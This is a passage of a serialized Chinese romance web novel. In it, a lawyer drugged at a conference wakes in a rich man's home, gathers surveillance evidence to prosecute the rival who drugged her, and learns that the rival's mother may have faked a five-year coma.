他的视线缓缓下移,掠过她挺翘的鼻尖,最终定格在那两片微微肿起的绯色唇瓣上。 就是这里…… 刚才在车上,无意识地蹭过他的脖颈,留下滚烫而柔软的触感,像羽毛轻轻搔过心尖,带来一阵难以言喻的悸动。 他的喉结不受控制地滚动了一下,眸色渐深,像化不开的浓墨。 指尖悬在半空,几乎要触碰到那诱人的唇瓣。 时间仿佛在这一刻被无限拉长…… 最终,他的指尖在距离唇瓣毫厘之差的地方停住,缓缓收拢成拳,手背上青筋微显。 他闭了闭眼,再睁开时,眼底翻涌的暗潮已被强行压下,恢复了惯有的冷静与克制。 他小心翼翼地将她打横抱起,步履沉稳地走上二楼,将她安置在主卧的床上。 拉过被子,仔细地替她盖好,被角掖得严严实实,只露出一张安静睡颜。 …… 翌日清晨。 阳光透过厚重的窗帘缝隙,在地板上投下一道狭长的光带。 明嫣是在一阵剧烈的头痛中醒来的。 她呻吟一声,艰难地睁开沉重的眼皮,映入眼帘的是完全陌生的环境——奢华而冷硬的黑灰色调装修,巨大的落地窗,身下是柔软得不可思议的大床。 这是哪儿? 她猛地坐起身,一阵眩晕袭来,让她差点又栽回去。 昨晚的记忆如同碎片般涌入脑海…… 学术交流会…… 霍寒山…… 秦婉…… 然后她喝了一杯酒…… 再然后…… 记忆变得模糊而混乱。 她只记得自己很难受,很热,好像……在洗手间? 然后……好像有人抱起了她…… 是谁? 而就在这时,零星的画面闪过——颠簸的车厢,男人紧绷的下颌线,滚烫的触感…… 明嫣的心猛地一沉,脸色瞬间变得惨白。 她下意识地掀开被子检查自己—— 身上的衣服已经被换掉了,这是一件宽大的男士丝质睡袍,明显不属于她。 睡袍下的身体…… 似乎并没有什么不适的感觉,除了宿醉般的头痛和浑身乏力。 但这并不能让她安心。 谁给她换的衣服? 昨晚到底发生了什么? 那个男人…… “醒了?” 就在这时,一道低沉的嗓音突兀地响起,“感觉怎么样?头还疼吗?” 明嫣猛地抬头,却正好撞进一双漆黑如墨的眼眸。 傅……傅修沉?! 所以昨晚……是他? 她的目光不受控制地落在他冷白的脖颈上—— 就在喉结侧下方,一个清晰而暧昧的红色印记,赫然映入眼帘! 那痕迹…… 明嫣的大脑“嗡”的一声,瞬间一片空白,整个人直接傻掉了,张着嘴,却一个字也说不出来,只是呆呆地看着那个印记,脸颊不受控制地迅速烧红,连耳根都红透了。 傅修沉顺着她的视线,下意识地抬手摸了摸自己的脖颈,随即像是明白了什么,眸色微深,却并没有解释,只是将水杯递到她面前,语气依旧平静:“先喝点水,医生说你醒来可能会脱水。早餐已经准备好了,洗漱一下下来吃吧。” 他的态度太过自然,仿佛脖子上那个暧昧的痕迹根本不存在。 明嫣接过水杯,指尖冰凉,低着头,声音细若蚊蚋:“昨晚……我……” 她想问,却又不敢问。 傅修沉看着她这副恨不得把自己埋进地缝里的模样,眼底掠过一丝极淡的笑意,但很快消失不见。 “你昨晚被人下了药,在会场洗手间晕倒了,我把你带了回来。”他言简意赅地解释,避重就轻,“衣服是佣人帮你换的。” 下药? 明嫣的心猛地一紧! 果然! 那杯酒! 愤怒和后怕瞬间涌上心头。 是谁?! 但紧接着,更大的尴尬席卷了她——即使衣服是佣人换的,那……他脖子上的痕迹呢? 总不会是佣人弄的吧? 傅修沉似乎看穿了她的心思,却并不点破,只是淡淡道:“洗漱用品在浴室,都是新的。我在楼下等你。” 明嫣看着他离开的背影,又低头看了看自己身上的男士睡袍,再回想刚才那个清晰的吻痕…… “啊——” 她哀嚎一声,把发烫的脸深深埋进了柔软的枕头里,脚趾都尴尬地蜷缩了起来。 这下…… 真是跳进黄河也洗不清了! 她昨晚到底对傅修沉做了什么?! 浴室里,明嫣用冷水冲了足足十分钟的脸,才勉强让脸上的热度降下去一些。 她看着镜中自己依旧绯红的脸颊,恨不得时间能倒流。 磨蹭了将近半个小时,她才做足心理建设,慢吞吞地走下楼梯。 傅修沉正坐在餐桌旁看平板电脑上的财经新闻,餐桌上摆着精致的早餐。 中西合璧,香气诱人。 听到脚步声,他抬起头,目光平静地看向她。 明嫣穿着昨晚那套已经由佣人清洗烘干熨烫整齐的衣服,但整个人却显得极其不自在,眼神躲闪,不敢与他对视。 “坐。”傅修沉放下平板,示意她用餐。 明嫣像个提线木偶一样,僵硬地在他对面的位置坐下,拿起勺子,小口小口地喝着碗里的粥,味同嚼蜡。 餐厅里安静得只剩下餐具轻微的碰撞声。 这种沉默让明嫣更加煎熬。 她深吸一口气,鼓起勇气,抬起头,“那个,昨晚……我可能做了……失礼行为,如果……如果给您造成了任何困扰,我……” “困扰倒没有……”傅修沉放下手中的咖啡杯,抬眸看她,眼神深邃,看不出喜怒,“不过,明律师,你昨晚一直抱着我不放,还咬了我一口,这该怎么算?” “……” 第29章 她要让秦婉坐牢! 傅修沉这句话问得轻描淡写,可听在明嫣耳朵里,却不啻于一道惊雷! “噗——咳咳咳……”她直接被嘴里的粥呛到,剧烈的咳嗽起来,脸瞬间涨得通红,连眼泪都咳出来了。 抱着他不放…… 还咬了他…… 这几个字在她脑海里疯狂回荡,拼接出一些模糊却足以让她羞愤欲死的画面。 傅修沉见状,起身倒了杯温水递给她,动作自然到仿佛刚才那句逆天豪言只是他随口一提。 明嫣接过水杯,猛灌了几口,才勉强压下咳嗽,却不敢抬头看他,“我昨晚……意识不清……我不是故意的……” 她恨不得找个地缝钻进去! 傅修沉看着她连耳根都红透的模样,眼底的笑意更深了些,却是转瞬即逝。 他拿起餐巾优雅地擦了擦嘴角,视线落在她几乎要埋进碗里的头顶,慢条斯理地补充道:“所以,明律师打算怎么补偿我的……精神损失和……肉体伤害?” “……” 明嫣猛地抬头,撞进他似笑非笑的眼眸里,一时间竟分不清他是在开玩笑还是认真的。 补偿? 怎么补偿? 难道要她……负责吗? 这个念头一冒出来,明嫣自己先吓了一跳,心跳骤然失序。 “那……那傅总您的意思是?”她硬着头皮问。 傅修沉没有说话,只是意味深长地看了她一眼,然后拿起放在一旁的平板,滑动了几下,将屏幕转向明嫣。 “先不说这个。看看这个,或许是你现在更关心的。” 明嫣疑惑地看向平板屏幕。 上面是一段监控录像—— 正是昨天学术交流会会场,茶歇区域靠近酒水台的画面! 画面清晰地显示,那个不小心撞到她的侍应生,在离开后,确实悄悄走向了角落,和一个穿着精致套装的女人短暂交流,并隐晦地比了一个手势。 而那个女人,即使画面角度有些刁钻,只拍到了侧脸和部分背影,明嫣也一眼就认了出来—— 是秦婉! 果然是她! 明嫣握着勺子的手指用力到指节泛白,胸口剧烈起伏。 秦婉! 她竟然恶毒到用这种下三烂的手段! 如果昨天不是傅修沉恰好出现,后果不堪设想! “这个监控……”明嫣的声音因为愤怒而微微发颤,她看向傅修沉,“您怎么拿到的?会场监控不是那么容易调取的吧?” 傅修沉收回平板,神色淡然,“恰好有朋友负责那边的安保。觉得你可能需要,就让人拷贝了一份。” 他说得轻描淡写,但明嫣知道,会场的监控涉及隐私,绝非一般人能轻易拿到。 他必然是动用了关系和手段。 他为什么要帮她到这个地步? 他跟大哥不是死对头吗? 明嫣压下心头的疑惑和一丝异样,深吸一口气,努力让自己的声音恢复平静:“谢谢,这份监控对我非常重要!” 有了这个,秦婉的罪行就证据确凿! “你打算怎么做?” “报警。”明嫣毫不犹豫,眼神锐利如刀,“故意给人下药,这已经涉嫌刑事犯罪!我是律师,我知道该怎么让她付出代价!我要让她坐牢!” 他微微颔首:“需要我帮忙吗?警方或者法院那边,我可以……” “不用。”明嫣打断他,“您已经帮了我很多了,剩下的,我自己可以处理。” 她不想再欠他更多人情。 而且,这次她要亲自把秦婉送进去。 “好。”他点了点头,端起咖啡杯抿了一口,“有需要随时开口。” “……谢谢。”明嫣低声道谢,心里却有些复杂。 这个男人…… 她有点看不透他。 早餐在一种微妙而各怀心思的氛围中结束。 饭后,傅修沉的司机已经等在别墅门口。 “我送你回去。”傅修沉拿起外套,对明嫣说道。 “不用麻烦了,傅总,我自己打车回去就好。”明嫣连忙拒绝。 傅修沉脚步未停,径直走向车门,语气平淡却不容置疑:“走吧,顺路。” 明嫣:“……” 跃华生物和她的律所明明在两个方向。 但看着他已然拉开车门等待的姿态,明嫣知道再推辞就显得矫情了,只好硬着头皮坐了进去。 …… 而与此同时,京都。 霍寒山几乎是连夜赶回来的。 一路上,秦婉都在他耳边哭哭啼啼,说着母亲秦晓林病情如何危急,血压如何不稳定,医生如何下达病危通知云云。 霍寒山的心情沉重而复杂。 秦晓林阿姨是为了救他才变成植物人,在ICU里躺了这么多年。 这份恩情和责任,像一座大山压在他心上。 理性告诉他,于情于理,他都必须在第一时间赶回来。 可明嫣…… 霍寒山的心绪烦乱。 他方才给她发信息解释,却发现已经被拉黑。 打电话,也是关机。 他突然发现,自己完全不适应现如今的明嫣…… …… 车子终于抵达医院。 霍寒山几乎是冲进了住院部大楼,直奔ICU病房所在的楼层。 秦婉跟在他身后,小跑着才能跟上他的步伐。 然而,当他们气喘吁吁地跑到秦晓林所在的ICU病房门口时,却惊讶地发现——病房里空空如也! 病床上整洁干净,各种监护仪器也都停止了工作,仿佛从未有人住过一样。 霍寒山的心猛地一沉! 难道……来晚了? 秦婉也被吓了一跳,声音都带着哭腔:“妈!妈妈呢?寒山!我妈她……她是不是……” 她捂住嘴,一副快要晕厥过去的模样。 霍寒山脸色铁青,一把抓住路过的一个护士,声音因为急切而显得有些嘶哑:“住在这个病房的病人呢?秦晓林!她去哪里了?” 护士被他吓了一跳,看清是他后,才松了口气,说道:“霍先生您别急,秦女士她……她醒了!” “醒了?”霍寒山愣住了,简直不敢相信自己的耳朵。 秦婉的哭声也戛然而止,脸上闪过一丝错愕和慌乱,但很快被她掩饰过去,换上了惊喜交加的表情:“真的吗?护士小姐,你说我妈醒了?她在哪儿?” 第30章 秦晓林醒了! “是的,今天凌晨的时候,秦女士出现了明显的意识恢复迹象,经过专家团队紧急会诊和评估,确认她已经脱离了植物人状态,恢复了意识。因为生命体征已经平稳,所以今天早上已经转到普通VIP病房进行观察和康复了。”护士解释道。 醒了…… 秦姨醒了…… 霍寒山站在原地,一时间竟有些恍惚。 巨大的冲击让他一时间有些反应不过来。这么多年,他几乎已经习惯了秦阿姨躺在病床上毫无生气的模样,甚至内心深处已经接受了那个最坏的可能。 此刻听到这个消息,震惊之余,一股难以言喻的复杂情绪涌上心头——有松了口气的释然,有夙愿得偿的欣慰,但更多的,是一种连他自己都说不清道不明的……空落落。 仿佛一直紧绷着的、支撑着他的某根弦,突然松了一下。 “太好了!太好了!妈!妈你终于醒了!”秦婉的反应则要直接和夸张得多,她捂住嘴,眼泪瞬间涌了出来,“寒山!你听到了吗?我妈醒了!我们快去看看她!” 霍寒山被她拉着,机械地朝着1806病房走去。 推开病房门,温暖的阳光透过窗户洒进来。 病床上,一个消瘦但眼神清明的中年女人靠坐在床头,虽然脸色依旧苍白,但那双眼睛却不再是空洞无神。 正是秦晓林。 “妈!”秦婉立刻扑到床边,哭得真情实感,“妈!您终于醒了!您吓死女儿了!” 秦晓林似乎还有些虚弱,反应有些迟缓,她看着扑在自己身上的女儿,又看向门口僵立着的霍寒山,嘴唇动了动,发出微弱的声音:“寒……寒山……你也来了……” 霍寒山一步步走到床边,看着这张熟悉又陌生的脸,胸腔里情绪翻涌。 “秦姨……”他开口,声音干涩,“您感觉怎么样?” “还……还好……”秦晓林虚弱地笑了笑,“就是……没什么力气……好像……睡了很久……” “妈,您都睡了五年了!”秦婉抢着说道,一边抹眼泪一边观察着霍寒山的表情,“您是为了救寒山才……这些年,寒山他一直很照顾我们,经常来看您……” 秦晓林目光慈爱地看向霍寒山,“辛苦你了,寒山……” 霍寒山摇了摇头:“秦姨,您别这么说,是我欠您的。” 而就在病房里的气氛正温馨时,主治医生敲门走了进来。 “秦女士目前她的身体机能还非常虚弱,需要长时间的康复治疗。记忆方面可能也会存在一些缺失或混乱,需要慢慢恢复。情绪上不宜有太大波动。” 霍寒山认真地听着,一一记下。 他看着病床上虚弱的秦晓林,又看了一眼旁边喜极而泣的秦婉。 理性告诉他,秦姨苏醒是天大的好事,他肩上的责任似乎可以减轻一些了。 但不知道为什么,心底却隐隐升起一丝怪异的感觉。 而且,一想到明嫣…… 他拿出手机,再次尝试拨打明嫣的号码,依旧是关机。 他的眉头不由得蹙紧——必须尽快处理完这边的事情,他要回江南去找明嫣! …… 江南,明嫣律师事务所。 明嫣一回到律所,就立刻开始行动。 她先是联系了昨天交流会的主办方,以律师身份正式提出调取监控的申请,并暗示此事可能涉及刑事犯罪,希望对方配合。 主办方一开始有些推诿,但在明嫣强硬的态度和专业施压下,最终还是同意提供协助。 接着,明嫣开始整理所有证据链:监控录像、侍应生的证词、她本人的报案陈述、证明她体内残留药物成分的检查报告…… 她要将这个案子做成铁案! 秦婉必须为她的恶行付出代价! 忙碌起来,时间过得飞快。 等到明嫣初步整理完材料,窗外已是华灯初上。 她靠在椅背上,揉了揉发胀的太阳穴。 身体的疲惫感阵阵袭来,但精神却处于一种亢奋状态。 手机屏幕亮了一下,是陆奉归发来的消息,询问她昨天后来怎么样,有没有事。 明嫣简单回复了一句“没事,在处理案子”,没有多说。 她不想让陆奉归卷入这件事。 放下手机,她的目光不经意间落在了办公桌一角。 那里放着一个精致的丝绒盒子——是之前霍寒山派人送来的,所谓的‘道歉礼物’,一条价值不菲的钻石项链。 她一直懒得处理,就扔在那里。 看着那条在灯光下闪烁着冰冷光芒的项链,明嫣的嘴角勾起一抹嘲讽的弧度。 曾经,她或许还会因为这些东西而开心好长时间。 但现在,只觉得可笑。 真正的伤害,岂是一条项链就能弥补的? 她深吸一口气,掏出手机拨了个电话出去:“奉归,帮我订一张最快回京都的机票。” 她要亲自回去,将报警材料递交上去。 有些账—— 也该当面清算了。 …… 就在明嫣紧锣密鼓地准备返回京都时,傅修沉坐在跃华大厦顶层的办公室里,接到了许宴清打来的电话。 “我说傅少,可以啊!动作够快的!这就登堂入室了?”许宴清的声音里充满了八卦的兴奋,“怎么样?昨晚战况激烈吗?” 傅修沉面无表情地听着电话那头的聒噪,指尖在办公桌上轻轻敲击。 “你是故意的?”他忽然开口,声音冷得像冰。 他早该想到,以许宴清的精明,他定然是看见有人给明嫣下药,只是他没有阻止,选择袖手旁观,看热闹。 电话那头的许宴清笑声戛然而止,顿了几秒,才讪讪地道:“咳……我这不是给你创造机会嘛……你看,效果不是挺好?英雄救美,美人倾心……” “许宴清。”傅修沉打断他,语气里带着警告,“没有下次。” 许宴清听出他话里的冷意,收敛了玩笑:“知道了知道了,下次不会了,真的是……我还以为你能为了让明瘸子吃瘪,不会介意牺牲色相……” “许宴清!” 许宴清在那头夸张地“嘶”了一声,连忙告饶:“得得得,我错了,傅少您别动怒,我闭嘴,我这就滚蛋!” 电话被挂断,办公室里恢复了安静。 傅修沉将手机扔在桌上,身体向后靠在宽大的椅背里,揉了揉眉心。 许宴清这小子,做事向来没个轻重,这次更是玩得过火了。 只是…… 想到昨晚那个在他怀里热情得不像话的少女,傅修沉的唇角几不可察地勾起一抹极淡的弧度。 算了,下次收拾他! 第31章 说蚊子咬得没人信…… 江南机场,人流如织。 明嫣戴着宽大的墨镜,遮住了大半张脸。 她坐在候机区的椅子上,手指无意识地滑动着手机屏幕,检查着已经发送到京都警方和检察院邮箱的举报材料副本。 陆奉归坐在她旁边,手里捧着一杯咖啡,眼神却时不时偷偷瞟向自家老板,心里跟猫抓似的好奇。 昨天老板匆匆离开交流会后就联系不上,今天一早出现就雷厉风行地要回京都…… 这架势,怎么看都像是要去干一票大的! “老大……”陆奉归终于忍不住,凑近了些,压低声音,“咱们这次回去,是不是……要跟霍律师那边……正面开战了?” 明嫣滑动屏幕的手指一顿,隔着墨镜瞥了他一眼,语气没什么起伏:“处理工作而已。” 陆奉归缩了缩脖子,不敢再多问,但心里的八卦之火却越烧越旺。 他总觉得,昨天的论坛会发生了什么事…… 就在这时,一道修长挺拔的身影出现在候机厅入口处,瞬间吸引了周围不少目光。 男人穿着剪裁合体的深灰色大衣,里面是熨帖的白衬衫,没打领带,领口随意地解开一颗扣子,通身散发着一种低调而矜贵的气场。 他身后跟着助理模样的周慕言,两人正低声交谈着什么。 是傅修沉。 明嫣几乎是第一时间就看到了他,心脏没来由地漏跳了一拍,下意识地就想把脸埋得更低,假装没看见。 然而,傅修沉的目光却精准地扫了过来,落在了她身上。 他脚步未停,径直朝着她所在的方向走了过来。 陆奉归也看到了傅修沉,立刻紧张地站了起来,脸上堆起恭敬的笑容:“傅总!周律师!好巧啊!” 周慕言面无表情地点了下头,算是打过招呼。 傅修沉的视线掠过陆奉归,直接落在试图降低存在感的明嫣身上,唇角几不可察地弯了一下,“明律师,好巧。” 避无可避。 明嫣只好抬起头,摘下墨镜,强挤出一丝笑,“傅总,周律师,好巧。” “去京都?”傅修沉的目光在她脸上停留了一瞬,仿佛不经意地问道。 “……是,有点工作要处理。” “正好,我也去京都出差。”傅修沉微微颔首,“航班号是CA1857?” 明嫣愣了一下,下意识地点头:“……是。” “那很巧,同一班。”傅修沉语气平淡,“一起过安检吧,VIP通道快一些。” 说完,他甚至没有给明嫣拒绝的机会,便示意了一下身后的周慕言。 周慕言立刻会意,上前对明嫣做了个‘请’的手势:“明律师,这边请。” “……” 明嫣干笑一声,“谢谢。” 而就在他们一行人走向VIP安检通道的同时,机场另一端的国内到达出口,一个身形高大挺拔的男人拖着行李箱走了出来。 男人穿着剪裁利落的黑色风衣,容貌俊美非凡,眉眼间与明嫣有几分相似,只是线条更为冷硬锋利。 他走路时,左腿有极其细微的不协调,若不仔细看几乎难以察觉,但这微跛的步伐非但没有折损他的气场,反而为他增添了几分历经沉淀的冷峻和压迫感。 他一边走,一边接着电话,眉头紧锁,“……行了,知道了,我已经到江南了,放心,这次就算是捆也一定把嫣儿那小丫头给你捆回去!” 电话那头似乎还在叮嘱着什么。 男人面无表情地‘嗯’了声,“知道了!挂了!” 他干脆利落地挂断电话,没有注意到这会儿已经跟正在VIP通道入口处的明嫣一行人错身而过…… …… 通过安检,进入VIP候机室。 明嫣刻意选了一个离傅修沉稍远的位置坐下,拿出手机假装处理邮件,尽量避免与他有任何眼神交流。 傅修沉则坐在不远处的沙发上,周慕言正在低声向他汇报着什么,他偶尔颔首,侧脸线条冷硬专注。 好不容易熬到登机广播响起。 明嫣暗暗松了口气,连忙起身,准备去排队。 “明律师,”傅修沉却走了过来,神色泰然自若,“走吧,商务舱通道这边。” 明嫣这才后知后觉地想起,傅修沉这种身份,出行必然是商务舱或者头等舱。 而她订的是经济舱。 “不用了,我们坐经济舱就好……”她下意识地拒绝。 傅修沉却像是没听到她的拒绝,径自对地勤人员示意了一下,地勤人员立刻恭敬地引领他们从商务舱通道优先登机。 明嫣:“……” 直到跟着空姐来到宽敞舒适的商务舱,看着自己的座位竟然被安排在傅修沉的旁边时,明嫣才彻底反应过来—— 她的座位被升舱了! 而陆奉归的座位…… 则在机舱最后面,和一周慕言坐在了一起。 陆奉归看着身边这位跃华法务部活阎王,简直欲哭无泪。 …… 商务舱内,环境舒适安静。 座椅宽大舒适,空间私密性好,但对于此刻的明嫣来说,却如同刑具。 她一扭头,就能看到傅修沉近在咫尺的侧脸。 他身上清冽的木质香气若有似无地飘过来,搅得她心神不宁。 最要命的是,她眼角的余光总能瞥见他脖颈侧方—— 经过一天一夜,那个原本鲜红的印记已经变成了暗红色的淤青,在他冷白的皮肤衬托下,显得格外……触目惊心。 像是在无声地控诉她做完的‘罪行累累’…… 明嫣只觉得脸颊又开始升温。 真的是——太冒犯了。 偏偏这时,傅修沉还哪壶不开提哪壶。 他放下手中的平板,看向明嫣,唇角勾起一抹极淡的弧度,“明律师,似乎也对我的脖子感兴趣……” “我没有!”明嫣立刻否认,声音都不自觉地拔高了一些,引得前排的乘客回头看了一眼。 她顿时更加窘迫,恨不得找个地缝钻进去。 傅修沉低笑了一声,男人的笑音低沉,像是带着小钩子,挠得人心尖发痒。 他身体微微向她这边倾斜了几分,拉近了两人之间的距离,属于他的那股冷冽木质香气若有似无地萦绕过来。 他看着她几乎要熟透的耳垂,“不过,这痕迹确实有点麻烦。” 明嫣屏住呼吸,不敢接话。 傅修沉继续慢条斯理地说道:“这两天总有人旁敲侧击地问我是怎么弄的。我说是蚊子咬的,可惜……好像没人信。” 明嫣:“……” 这借口还能再烂一点吗? 谁家蚊子能咬出这种形状和位置的痕迹? 第32章 明嫣回京都了! 看着明嫣这副恨不得将自己缩成一团的窘迫模样,傅修沉眼底掠过一丝极淡的笑意,旋即又隐没在深沉的眸色里。 他懂得见好就收的道理,逼得太紧,反而会吓跑这个小丫头。 “好了,不逗你了。”他嗓音恢复了一贯的沉稳平淡,顺势坐直了身体,从容地拉开了两人之间过于暧昧的距离。 一股无形的压力随之消散,明嫣暗暗松了口气,可胸腔里那颗心却依旧不听使唤地怦怦直跳,撞击着肋骨,声音大得几乎要震聋自己的耳朵。 就在这时,傅修沉倾身,从身旁的公文包里取出一个略显厚重的牛皮纸文件袋,无声地递到了她面前。 “看看这个。”他的声音低沉下来,“我想,你应该会感兴趣。” 明嫣愣了一下,疑惑地接过文件袋。 入手有些分量,里面似乎装了不少东西。 她不解地抬头看了傅修沉一眼,对方只是用眼神示意她打开。 带着满腹的疑问,明嫣解开了文件袋上的绕线绳,从里面抽出了一沓文件和一些照片。 最上面是几张放大的彩色照片。 当看清照片上的人时,明嫣的瞳孔猛地一缩,呼吸都停滞了一瞬! 照片上的女人,穿着一身价格不菲的定制套装,拎着限量款的手包,正从一辆豪华轿车上下来,背景是一家极其高档的私人会员制疗养院门口。 虽然她戴着宽大的墨镜,遮住了大半张脸,但明嫣还是一眼就认了出来—— 是秦晓林! 那个为了救霍寒山而变成植物人,在ICU里躺了整整五年的秦姨! 她不是应该在京都的疗养院吗? 怎么会出现在高档会所? 而且看照片上的模样气色,哪里像一个昏迷五年的病人?! 明嫣的手指因为震惊而微微颤抖,她飞快地往后翻看。 后面还有几张不同角度、不同时间的照片,有秦晓林在做SPA的,有在高级餐厅用餐的,甚至还有一张是她和几个看起来像富太太模样的人一起打麻将的…… 照片的拍摄时间,清晰地标注着——就在一个月前! 霍寒山每年投入巨额医疗费,甚至因为这份恩情和责任,对秦婉诸多容忍…… 如果秦晓林早就醒了,甚至可能根本就没昏迷那么久…… 那这一切,算什么? 一个彻头彻尾的骗局? 明嫣只觉得一股寒意从脚底直窜头顶,血液都仿佛要凝固了。 巨大的信息量如同海啸般冲击着她的大脑,让她一时间竟有些眩晕。 她猛地抬头,看向傅修沉,“这些照片……是真的?你……你怎么会有这些?” 傅修沉迎上她不敢置信的目光,神色平静,眸色却深不见底:“照片是真的,来源可靠。至于其他的,需要你自己去核实。” 明嫣的心脏像是被一只无形的手狠狠攥住,呼吸都变得困难。 如果这一切都是假的…… 那她这五年,算什么? 一个被蒙在鼓里,被谎言和算计裹胁的傻瓜吗? 她深吸一口气,强迫自己冷静下来,眼底最后一丝迷茫被凌厉所取代——看来,她真的有必要,好好地跟他们算算这笔账了! …… 数小时后,飞机平稳降落在京都国际机场的跑道。 与傅修沉一行人分开后,明嫣独自打了辆出租车,直奔提前预定好的酒店。 “您好,明小姐,您预定的两间单人间已经准备好,这是您的房卡,房间在28层。祝您入住愉快。”前台小姐带着职业化的甜美笑容递上房卡。 “谢谢。”明嫣刚接过房卡,一转身,便猝不及防地撞入一双深邃如夜的眼眸中。 “傅总?”她愣了一瞬,有些措手不及,“你怎么也……” 此时,周慕言已经自然地走上前,从前台取走了另一张房卡。明嫣瞥见卡面上标注的“总统套房”字样,更是困惑地眨了眨眼——世上真有这么巧的事?他们竟然也选择了同一家酒店? “周律师提前订的。”傅修沉面色如常,语气平淡无波,听不出丝毫刻意,“倒是没想到,这么巧。” “……” 这巧合,未免也太过刻意了。明嫣心中疑虑丛生,却不好多问。 “走吧,一起上去。”傅修沉示意道。 明嫣只得点头,拖着行李箱跟在他身侧,保持着恰到好处的距离。 而就在两人肩并肩往电梯间走的时候。 从酒店大门正好走进一个中年男人,他一眼就看见了这会儿正在等电梯的明嫣。 “明……” 可还没等他喊出口,只听‘叮’的一声,电梯门应声而开,明嫣跟傅修沉等人进了电梯。 “那不是明律师吗?怎么……” 而就在他胡思乱想之际,口袋里的手机却突然震动了起来,他下意识地扫了一眼来电显示——韩晋。 “喂,韩律师……” 两人寒暄了一会儿,眼见着韩晋要挂断电话,那人这才像是突然想到了什么,“对了,韩律师,我刚才好像看见明律师了……” “你说谁?明嫣?”韩晋的嗓音都提高了八度,“你在哪儿见都她的?” “京都啊……” 韩晋惊讶得合不拢嘴——什么情况? 明嫣回京都了? “真的假的?你这可不能骗人啊!”韩晋还是有些半信半疑。 “千真万确!我还能骗你吗?” 韩晋在电话那头激动得不行——他就知道,小明嫣自己会找个台阶把自己哄好! “太好了!太好了!老厉,这次真谢谢你了!改天我一定请你吃饭!我得赶紧告诉老霍这个好消息!” 那人张了张嘴,刚想补充一句明嫣好像是跟一个男人一起办的酒店入住时,那边韩晋已经迫不及待地挂断了电话,只剩下一串忙音。 而此时的韩晋挂断了电话就第一时间给霍寒山打去了电话。 “老霍,跟你说个好消息!天大的好消息!” 霍寒山的眉头微皱,嗓音平静,听不出什么起伏,“怎么了?” “明嫣她回京都了!” “什么?” “哈哈哈,我就说嘛!小明嫣她怎么可能真舍得离开你!这不,自己回来了。” “她肯定是想通了,我跟你说——明天,最晚明天,她肯定就来律所了!你们可得好好谈谈,这次千万把人家哄好了……” 第33章 就像韩晋说的,明嫣离不开他 霍寒山握着手机,听着韩晋在电话那头兴奋得语无伦次的声音,紧绷了数日的下颌线,终于几不可察地松弛了几分。 明嫣回京都了…… 她到底还是回来了。 果然,他的判断没有错。 明嫣怎么可能真的离开他? 五年的感情,怎么可能说舍弃就舍弃? 她只是在赌气,用最激烈的方式表达她的不满。 而现在,气消了,她自然就回来了。 就像韩晋说的——她离不开他。 “老霍?老霍你听见了吗?明天可得好好准备一下!”韩晋还在电话那头喋喋不休地出谋划策,“要不要订束花?或者准备个礼物?女孩子嘛,总是要哄的……” “嗯。”霍寒山淡淡地应了一声,打断了韩晋的兴奋,“我知道了。” 他的声音恢复了惯有的冷静和一切尽在掌握的从容。 挂断电话,霍寒山坐在宽大的办公桌后,指尖无意识地在光滑的桌面上轻轻敲击着。 窗外的阳光透过百叶窗的缝隙,在他冷峻的侧脸上投下明暗交错的光影。 他沉吟片刻,按下内线电话。 助理很快敲门进来,“霍律师,您找我?” 霍寒山抬眸,语气平静,却带着一种宣布重要事项的郑重:“明嫣明天回律所。今天下午茶我请,你去订最好的咖啡和甜品,律所所有人都有份。” 助理先是愣了一下,随即兴奋地几乎要欢呼出声:“真的吗?明嫣姐要回来了?!太好了!我这就去办!” 看着助理欢天喜地,几乎是蹦跳着出去的背影,霍寒山的唇角几不可察地勾起一抹极淡的弧度。 很快,外面开放式办公区传来一阵压抑不住的欢呼和议论声。 “明嫣姐要回来了?!” “天啊!终于!这段时间霍律师低气压快吓死我了!” “太好了!所里终于能恢复正常了!” “我就说嘛,明嫣姐怎么可能真走!” “霍律师请大家喝下午茶!庆祝明嫣姐回归!” 喜悦的气氛如同涟漪般在整个明寒律所扩散开来,所有人都沉浸在拨云见日的轻松和期待中。 霍寒山听着外面的喧闹,走到落地窗前,俯瞰着楼下川流不息的车流。 他拿出手机,找到那个被他置顶却许久没有拨通的号码,犹豫了一下,还是没有拨出去。 算了。 以明嫣一贯的性子肯定是要给他准备惊喜。 那他就当不知道好了。 明天…… 等她明天回来,一切都会回到正轨。 他会跟她好好谈一谈。 他或许可以尝试做出的改变。 关于婚礼,关于未来,关于一切…… …… 京都的夜晚,华灯初上,流光溢彩。 明嫣入住的酒店房间在28层,视野极佳,可以俯瞰小半个城市的璀璨夜景。 她刚洗完澡,湿漉漉的长发用毛巾包裹着,正准备吹干。 门铃却在这时响了起来。 明嫣有些疑惑,陆奉归刚跟她汇报完工作回自己房间了。 这个时间会是谁? 她走到门后,透过猫眼向外看去——门外站着的是傅修沉。 他换了一身深灰色的休闲装,少了白日里的凌厉,多了几分随和,但通身的矜贵气度却丝毫未减。 明嫣犹豫了一下,还是打开了门。 “傅总?您……有事?”她站在门内,并没有完全让开。 傅修沉的视线不由得落在她露出半截突出的锁骨,以及一小块深陷下去的颈窝…… 他目光自然地移开,随即将将手里一个精致的食盒递了过来。 “酒店送的夜宵,说是给VIP客人的。”他的语气平淡无波,“我不太饿,想着你可能需要。” 明嫣低头看去,食盒是附近一家很有名的粤式茶餐厅的logo,那家的点心以精致美味著称,需要提前很久预订。 酒店送的? 还这么巧是她喜欢的口味? 她心里泛起一丝异样,但还是接了过来,“谢谢傅总。” “不客气。”傅修沉的目光落在她还在滴水的发梢上,眉头几不可察地蹙了一下,“头发不吹干容易感冒。” 他的语气自然,却莫名让明嫣觉得耳根微热,“正准备吹呢。” “嗯。”傅修沉点了点头,却没有立刻离开的意思,反而像是闲聊般问道,“明天有什么安排?需要帮忙吗?” “不用了,谢谢,我自己可以处理。”明嫣下意识地拒绝,她不想再欠他人情。 傅修沉也不坚持,只是淡淡道:“好,有事可以随时联系周慕言,或者直接找我。” 他的目光再次掠过她微湿的发梢,“早点休息。” 明嫣连忙点了点头。 待目送他离开,她这才关上门,手里捧着还带着温热的食盒,心里像是被什么东西轻轻撞了一下,泛起一圈圈涟漪。 她打开食盒,里面是她读书时就很喜欢的虾饺皇和流沙包,还配了一碗温润的陈皮红豆沙。 他……怎么会知道她的喜好? 是巧合吗? 还是…… 明嫣连忙甩了甩头,随即哑然失笑,她在胡思乱想什么? 她拿起一个流沙包咬了一口——嗯。 不错,好吃。 …… 第二天一大早,明寒律师事务所。 霍寒山比平时早到了半个小时,他穿着一身熨帖的深蓝色西装,头发打理得一丝不苟,连袖扣都换了一对新的。 